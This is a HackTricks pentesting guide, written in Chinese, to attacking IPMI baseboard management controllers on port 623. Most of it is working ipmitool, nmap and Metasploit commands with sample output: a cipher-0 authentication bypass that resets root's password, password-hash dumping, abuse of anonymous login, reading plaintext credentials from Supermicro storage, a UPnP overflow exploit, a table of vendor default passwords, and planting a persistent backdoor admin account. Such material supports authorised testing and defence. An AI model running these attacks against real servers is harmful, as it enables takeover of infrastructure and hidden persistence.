hacktricks/network-services-pentesting/623-udp-ipmi.md
2023-08-03 19:12:22 +00:00

14 KiB
Raw Blame History

623/UDP/TCP - IPMI

623/UDP/TCP - IPMI

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本信息

Intelligent Platform Management InterfaceIPMI是一组用于硬件主机管理系统的标准化规范用于系统管理和监控。它作为一个独立的子系统工作独立于主机的BIOS、CPU、固件和底层操作系统。IPMI使系统管理员能够管理和监控系统即使它们处于关闭或无响应状态。它通过直接的网络连接到系统的硬件进行操作不需要通过登录shell访问操作系统。IPMI还可以用于对系统进行远程升级而无需物理访问目标主机。IPMI通常以以下三种方式使用

  • 在操作系统引导之前修改BIOS设置
  • 当主机完全关闭时
  • 在系统故障后访问主机

当不用于这些任务时IPMI可以监视各种不同的事物如系统温度、电压、风扇状态和电源供应。它还可以用于查询库存信息、查看硬件日志和使用SNMP进行警报。主机系统可以关闭电源但IPMI模块需要电源和LAN连接才能正常工作。

IPMI协议最初由英特尔于1998年发布现在由200多个系统供应商支持包括思科、戴尔、惠普、超微、英特尔等。使用IPMI 2.0版本的系统可以通过串行局域网进行管理使系统管理员能够在带内查看串行控制台输出。为了正常工作IPMI需要以下组件

  • 主板管理控制器BMC- IPMI的微控制器和基本组件
  • 智能机箱管理总线ICMB- 允许一个机箱与另一个机箱进行通信的接口
  • 智能平台管理总线IPMB- 扩展BMC
  • IPMI内存- 存储系统事件日志、存储库数据等
  • 通信接口- 本地系统接口、串行和LAN接口、ICMB和PCI管理总线

默认端口623/UDP/TCP通常使用UDP但也可以在TCP上运行

枚举

发现

nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

您可以使用以下方法识别版本:

use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

漏洞 - 通过密码0绕过IPMI身份验证

Dan Farmer 发现了IPMI 2.0规范的一个严重缺陷即密码类型0表示客户端希望使用明文身份验证实际上允许使用任何密码进行访问。在HP、Dell和Supermicro BMC中发现了密码0的问题该问题可能涵盖所有IPMI 2.0实现。
请注意,要利用此问题,您首先需要找到一个有效的用户

您可以使用以下方法识别此问题:

use auxiliary/scanner/ipmi/ipmi_cipher_zero

而且你可以使用ipmitool滥用这个问题:

apt-get install ipmitool #Install
#Using -C 0 any password is accepted
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list #Use Cipher 0 to dump a list of users
ID  Name      Callin  Link Auth   IPMI Msg   Channel Priv Limit
2   root             true    true       true       ADMINISTRATOR
3   Oper1            true    true       true       ADMINISTRATOR
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 #Change the password of root

漏洞 - IPMI 2.0 RAKP认证远程密码哈希检索

基本上,你可以向服务器请求任何用户名的盐值哈希MD5和SHA1如果用户名存在这些哈希值将被发送回来。 是的,听起来很神奇。而且还有一个Metasploit模块可以用于测试你可以选择John或Hashcat格式的输出

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

请注意对于此操作您只需要一个用户名列表来进行暴力破解metasploit已经包含了一个带有默认用户名的列表

使用ipmitool绕过身份验证(-c 0来将root密码更改为abc123

root@kali:~# apt-get install ipmitool
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list
ID  Name      Callin  Link Auth   IPMI Msg   Channel Priv Limit
2   root             true    true       true       ADMINISTRATOR
3   Oper1            true    true       true       ADMINISTRATOR
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123

漏洞 - IPMI匿名认证

除了上述的认证问题外,丹·法尔默还指出,许多BMC默认启用了“匿名”访问。这是通过将第一个用户账户的用户名设置为空字符串,并将空密码设置为匹配来配置的。_ipmi_dumphashes_模块将识别并转储空用户账户的密码哈希包括空密码。**这个账户本身可能难以使用,但我们可以利用ipmitool重置命名用户账户的密码,并利用该账户访问其他服务:

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list

ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
1                    false  false      true      ADMINISTRATOR
2  root            false  false      true      ADMINISTRATOR
3  admin            true    true      true      ADMINISTRATOR

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword #Change the password of the user 2 (root) to "newpassword"

漏洞 - Supermicro IPMI明文密码

IPMI 2.0规范要求BMC响应基于HMAC的身份验证方法如SHA1和MD5。这种身份验证过程存在一些严重的弱点正如之前的示例所示但也需要访问明文密码以计算身份验证哈希。这意味着BMC必须在非易失性存储器中存储所有配置的用户密码的明文版本。在Supermicro的情况下,此位置在固件版本之间会发生变化,但要么是**/nv/PSBlock,要么是/nv/PSStore**。密码分散在各种二进制块之间但很容易识别因为它们总是跟随用户名。对于任何使用BMC之间或甚至不同类型设备之间共享密码的组织来说这是一个严重的问题。

cat /nv/PSBlock
admin                      ADMINpassword^TT                    rootOtherPassword!

漏洞 - Supermicro IPMI UPnP

Supermicro在其最新的许多主板的IPMI固件上包含一个运行在UDP端口1900上的UPnP SSDP监听器。在SMT_X9_218之前的版本中该服务运行的是Intel SDK for UPnP Devices的1.3.1版本。这个版本存在由Rapid7在2013年2月披露的问题并且Metasploit Framework中包含了针对这个平台的利用工具。这种攻击的有趣之处在于它可以获得对BMC的完全root访问权限而这在其他情况下很难获得。请记住具有管理访问权限的攻击者无论是通过网络还是从主机系统的root shell都可以将Supermicro BMC的固件降级到一个存在漏洞的版本然后利用它。一旦获得root访问权限就可以从文件系统中读取明文凭据安装其他软件并将永久后门集成到BMC中即使主机操作系统进行了完全重新安装后门仍然存在。

msf> use exploit/multi/upnp/libupnp_ssdp_overflow

暴力破解

请注意只有惠普HP在制造过程中对密码进行随机化。

产品名称 默认用户名 默认密码
HP Integrated Lights Out (iLO) Administrator <工厂随机化的8位字符>
Dell Remote Access Card (iDRAC, DRAC) root calvin
IBM Integrated Management Module (IMM) USERID PASSW0RD0为零
Fujitsu Integrated Remote Management Controller admin admin
Supermicro IPMI (2.0) ADMIN ADMIN
Oracle/Sun Integrated Lights Out Manager (ILOM) root changeme
ASUS iKVM BMC admin admin

从BMC攻击主机

一旦获得对BMC的管理员访问权限就可以使用多种方法来访问主机操作系统。最直接的方法是滥用BMC的KVM功能并将主机重启到root shell在GRUB中使用init=/bin/sh或指定一个救援盘作为虚拟CD-ROM并引导到该盘。一旦获得对主机磁盘的原始访问权限就可以轻松引入后门从硬盘复制数据或者执行任何需要进行的安全评估的操作。当然这种方法的一个很大的缺点是必须重新启动主机才能使用。访问正在运行的主机要困难得多这取决于主机正在运行的内容。如果主机的物理控制台处于登录状态使用内置的KVM功能轻松劫持它。串行控制台也是如此-如果串行端口连接到经过身份验证的会话则BMC可能允许使用ipmitool接口进行串行局域网sol的劫持。仍需要进行更多研究的一条路径是滥用对共享硬件的访问权限例如i2c总线和Super I/O芯片。

从主机攻击BMC

在主机带有BMC并被入侵的情况下可以使用本地接口来引入一个后门用户账户,从而在服务器上建立一个永久立足点。此攻击需要在主机上安装**ipmitool**并启用对BMC的驱动程序支持。下面的示例演示了如何使用主机上的本地接口不需要身份验证将新用户账户注入到BMC中。此方法适用于Linux、Windows、BSD甚至DOS目标。

ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • port:623

参考资料

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥